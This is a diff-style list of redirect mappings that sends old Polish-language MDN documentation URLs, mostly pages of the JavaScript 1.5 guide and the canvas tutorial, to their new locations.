+/pl/docs/JavaScript:Dokumentacje /pl/docs/JavaScript/Dokumentacje
+/pl/docs/JavaScript:Inne_zasoby /pl/docs/JavaScript/Inne_zasoby
+/pl/docs/JavaScript:Na_pocz%C4%85tek /pl/docs/Web/JavaScript/Na_pocz%C4%85tek
+/pl/docs/JavaScript:Przyk%C5%82ady /pl/docs/JavaScript/Przyk%C5%82ady
+/pl/docs/JavaScript:Spo%C5%82eczno%C5%9B%C4%87 /pl/docs/JavaScript/Spo%C5%82eczno%C5%9B%C4%87
+/pl/docs/Kod_%C5%BAr%C3%B3d%C5%82owy_Mozilli_(Mercurial) /pl/docs/Mozilla/Developer_guide/Source_Code/Kod_%C5%BAr%C3%B3d%C5%82owy_Mozilli_(Mercurial)
+/pl/docs/Kodowanie_Mozilli /pl/docs/Programowanie_Mozilli
+/pl/docs/Kolumny_CSS3 /pl/docs/Web/Guide/CSS/Kolumny_CSS3
+/pl/docs/Kontrola_sprawdzania_pisowni_w_formularzach_HTML /pl/docs/Web/HTML/Kontrola_sprawdzania_pisowni_w_formularzach_HTML
+/pl/docs/Learn/CSS/Introduction_to_CSS /en-US/docs/Learn/CSS/First_steps
+/pl/docs/Learn/CSS/Introduction_to_CSS/How_CSS_works /en-US/docs/Learn/CSS/First_steps/How_CSS_works
+/pl/docs/Learn/CSS/Introduction_to_CSS/Selektory /en-US/docs/Learn/CSS/Building_blocks/Selectors
+/pl/docs/Learn/CSS/stylowanie_blokow /en-US/docs/Learn/CSS/Building_blocks
+/pl/docs/Liczniki_CSS /pl/docs/Web/Guide/Liczniki_CSS
+/pl/docs/Live_HTTP_Headers_(external) /pl/docs/Live_HTTP_Headers_(link)
+/pl/docs/Lokalizacja:Spo%C5%82eczno%C5%9B%C4%87 /pl/docs/Lokalizacja/Spo%C5%82eczno%C5%9B%C4%87
+/pl/docs/Lokalizacja_opisu_rozszerze%C5%84 /pl/docs/Lokalizacja_opisu_rozszerzenia
+/pl/docs/MDN/Contribute/Content /pl/docs/MDN/Guidelines
+/pl/docs/MDN/Contribute/Content/Style_guide /pl/docs/MDN/Guidelines/Style_guide
+/pl/docs/MDN/Feedback /pl/docs/MDN/Contribute/Feedback
+/pl/docs/MDN/rozpocznij_mdn /pl/docs/MDN/Contribute/Getting_started
+/pl/docs/Manifest_Instalacji /pl/docs/Manifesty_Instalacji
+/pl/docs/Manifesty_Chrome /pl/docs/Mozilla/Rejestracja_Chrome
+/pl/docs/MathML /pl/docs/Web/MathML
+/pl/docs/Motywy:Spo%C5%82eczno%C5%9B%C4%87 /pl/docs/Motywy/Spo%C5%82eczno%C5%9B%C4%87
+/pl/docs/Narz%C4%99dzia:Walidatory /pl/docs/Narz%C4%99dzia/Walidatory
+/pl/docs/Narz%C4%99dzia_programist%C3%B3w /pl/docs/Narz%C4%99dzia
+/pl/docs/New_in_JavaScript_1.6 /pl/docs/Web/JavaScript/New_in_JavaScript/Nowo%C5%9Bci_w_JavaScript_1.6
+/pl/docs/Nowo%C5%9Bci_w_JavaScript_1.4 /pl/docs/Web/JavaScript/Nowo%C5%9Bci_w_JavaScript_1.4
+/pl/docs/Nowo%C5%9Bci_w_JavaScript_1.5 /pl/docs/Web/JavaScript/New_in_JavaScript/Nowo%C5%9Bci_w_JavaScript_1.5
+/pl/docs/Nowo%C5%9Bci_w_JavaScript_1.6 /pl/docs/Web/JavaScript/New_in_JavaScript/Nowo%C5%9Bci_w_JavaScript_1.6
+/pl/docs/Nowo%C5%9Bci_w_JavaScript_1.7 /pl/docs/Web/JavaScript/New_in_JavaScript/Nowo%C5%9Bci_w_JavaScript_1.7
+/pl/docs/Nowo%C5%9Bci_w_JavaScript_1.8 /pl/docs/Web/JavaScript/Nowo%C5%9Bci_w_JavaScript_1.8
+/pl/docs/Obs%C5%82uga_protoko%C5%82%C3%B3w_przez_aplikacje_WWW /pl/docs/Web/API/Navigator/registerProtocolHandler/Web-based_protocol_handlers
+/pl/docs/Odno%C5%9Bniki_XPInstall_API /pl/docs/Dokumentacja_XPInstall_API
+/pl/docs/Pomoc /en-US/docs/Help:pl/Zawarto%C5%9B%C4%87
+/pl/docs/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML:Przyk%C5%82ady /pl/docs/Poprawne_zastosowanie_CSS_i_JavaScript_w_dokumentach_XHTML/Przyk%C5%82ady
+/pl/docs/Preferencje_API /pl/docs/API_Preferencji
+/pl/docs/Programowanie_Mozilli:Spo%C5%82eczno%C5%9B%C4%87 /pl/docs/Programowanie_Mozilli/Spo%C5%82eczno%C5%9B%C4%87
+/pl/docs/Prosty_RayCaster:Level.js /pl/docs/Prosty_RayCaster/Level.js
+/pl/docs/Prosty_RayCaster:Player.js /pl/docs/Prosty_RayCaster/Player.js
+/pl/docs/Prosty_RayCaster:RayCaster.html /pl/docs/Prosty_RayCaster/RayCaster.html
+/pl/docs/Prosty_RayCaster:RayCaster.js /pl/docs/Prosty_RayCaster/RayCaster.js
+/pl/docs/Prosty_RayCaster:input.js /pl/docs/Prosty_RayCaster/input.js
+/pl/docs/Prosty_RayCaster:trace.css /pl/docs/Prosty_RayCaster/trace.css
+/pl/docs/Prosty_RayCaster:trace.js /pl/docs/Prosty_RayCaster/trace.js
+/pl/docs/Przewodnik_po_canvas:Kompozycje /pl/docs/Przewodnik_po_canvas/Kompozycje
+/pl/docs/Przewodnik_po_canvas:Proste_animacje /pl/docs/Przewodnik_po_canvas/Proste_animacje
+/pl/docs/Przewodnik_po_canvas:Proste_zastosowanie /pl/docs/Przewodnik_po_canvas/Proste_zastosowanie
+/pl/docs/Przewodnik_po_canvas:Rysowanie_kszta%C5%82t%C3%B3w /pl/docs/Przewodnik_po_canvas/Rysowanie_kszta%C5%82t%C3%B3w
+/pl/docs/Przewodnik_po_canvas:Transformacje /pl/docs/Przewodnik_po_canvas/Transformacje
+/pl/docs/Przewodnik_po_canvas:Zastosowanie_obrazk%C3%B3w /pl/docs/Przewodnik_po_canvas/Zastosowanie_obrazk%C3%B3w
+/pl/docs/Przewodnik_po_canvas:Zastosowanie_styl%C3%B3w_i_kolor%C3%B3w /pl/docs/Przewodnik_po_canvas/Zastosowanie_styl%C3%B3w_i_kolor%C3%B3w
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5 /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Blok_instrukcji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Blok_instrukcji
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Czytanie_wyra%C5%BCenia_regularnego /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zapisywanie_wzorca_wyra%C5%BCenia_regularnego
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Definiowanie_funkcji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Definiowanie_funkcji
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Dodawanie_obiektom_nowej_funkcjonalno%C5%9Bci. /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Dodawanie_obiektom_nowej_funkcjonalno%C5%9Bci.
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_eval /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_eval
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isFinite /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isFinite
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isNaN /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isNaN
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_Number_i_String /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_Number_i_String
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_escape_i_unescape /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_escape_i_unescape
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_parseInt_i_parseFloat /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_parseInt_i_parseFloat
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcja_p%C4%99tli /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcja_p%C4%99tli/Instrukcja_do_...while /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_do_...while
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_komentarzy /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_komentarzy
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_manipulacji_obiektem /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_manipulacji_obiektem
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_obs%C5%82ugi_wyj%C4%85tk%C3%B3w /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_obs%C5%82ugi_wyj%C4%85tk%C3%B3w
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_obs%C5%82ugi_wyj%C4%85tk%C3%B3w/Instrukcja_throw /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_obs%C5%82ugi_wyj%C4%85tk%C3%B3w/Instrukcja_throw
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_obs%C5%82ugi_wyj%C4%85tk%C3%B3w/Instrukcja_try...catch /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_obs%C5%82ugi_wyj%C4%85tk%C3%B3w/Instrukcja_try...catch
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_break /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_break
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_continue /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_continue
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_continues /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_continue
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_do_...while /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_do_...while
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_for /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_for
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_label /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_label
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_while /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_while
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_warunkowe /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_warunkowe
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/J%C4%99zyki_oparte_na_klasach_vs._oparte_na_prototypach /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Litera%C5%82y /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Litera%C5%82y
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Nazywanie_funkcji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Wywo%C5%82anie_funkcji
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/O /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/O_tym_przewodniku
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/O_tym_przewodniku /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/O_tym_przewodniku
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_i_w%C5%82a%C5%9Bciwo%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_i_w%C5%82asno%C5%9Bci
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_i_w%C5%82asno%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_i_w%C5%82asno%C5%9Bci
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Array /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Array
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Boolean /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Boolean
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Date /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Date
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Math /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Math
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Number /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Number
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_RegExp /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_RegExp
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_String /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_String
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_function /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_function
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_logiczny /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Boolean
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operacje_na_%C5%82a%C5%84cuchach /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operacje_na_%C5%82a%C5%84cuchach
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_arytmetyczne /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_arytmetyczne
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_bitowe /pl/docs/Web/JavaScript/Guide/Expressions_and_Operators#Bitwise_operators
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_logiczne /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_logiczne
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_por%C3%B3wnania /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_por%C3%B3wnania
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_por%C3%B3wnywania /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_por%C3%B3wnania
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_przypisania /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_przypisania
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_specjalne /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_specjalne
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_string /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operacje_na_%C5%82a%C5%84cuchach
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_JavaScriptu /pl/docs/JavaScript/Guide/Przeglad_JavaScript
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Komunikacja_mi%C4%99dzy_Java_a_JavaScript /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Komunikacja_mi%C4%99dzy_Java_a_JavaScript
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Konwersja_typu_danych /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Konwersja_typu_danych
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Konwersja_typu_danych/Konwersja_JavaScript_do_Java /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Konwersja_typu_danych/Konwersja_JavaScript_do_Java
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciow%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciow%C5%9Bci/Brak_wielokrotnego_dziedziczenia /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#No_multiple_inheritance
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciow%C5%9Bci/Globalne_informacje_w_konstruktorach /pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Globalne_informacje_w_konstruktorach
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciow%C5%9Bci/Globlne_informacje_w_konstruktorach /pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Globalne_informacje_w_konstruktorach
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciow%C5%9Bci/Okre%C5%9Blanie_wzajemnych_relacji_obiektu /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciow%C5%9Bci/Warto%C5%9Bci_lokalne_vs._dziedziczone /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Warto%C5%9Bci_lokalne_vs._dziedziczone
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciwo%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciwo%C5%9Bci/Brak_wielokrotnego_dziedziczenia /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#No_multiple_inheritance
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciwo%C5%9Bci/Globalne_informacje_w_konstruktorach /pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Globalne_informacje_w_konstruktorach
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciwo%C5%9Bci/Okre%C5%9Blanie_wzajemnych_relacji_obiektu /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciwo%C5%9Bci/Warto%C5%9Bci_lokalne_vs._dziedziczone /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Warto%C5%9Bci_lokalne_vs._dziedziczone
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Brak_wielokrotnego_dziedziczenia /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#No_multiple_inheritance
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Okre%C5%9Blanie_wzajemnych_relacji_obiektu /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Warto%C5%9Bci_lokalne_vs._dziedziczone /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Warto%C5%9Bci_lokalne_vs._dziedziczone
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/Tworzenie_hierarchii /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/Tworzenie_hierarchii
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82a%C5%9Bciwo%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82a%C5%9Bciwo%C5%9Bci_obiektu/Dodawanie_w%C5%82a%C5%9Bciwo%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu/Dodawanie_w%C5%82asno%C5%9Bci
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82a%C5%9Bciwo%C5%9Bci_obiektu/Dziedziczenie_w%C5%82a%C5%9Bciwo%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu/Dziedziczenie_w%C5%82asno%C5%9Bci
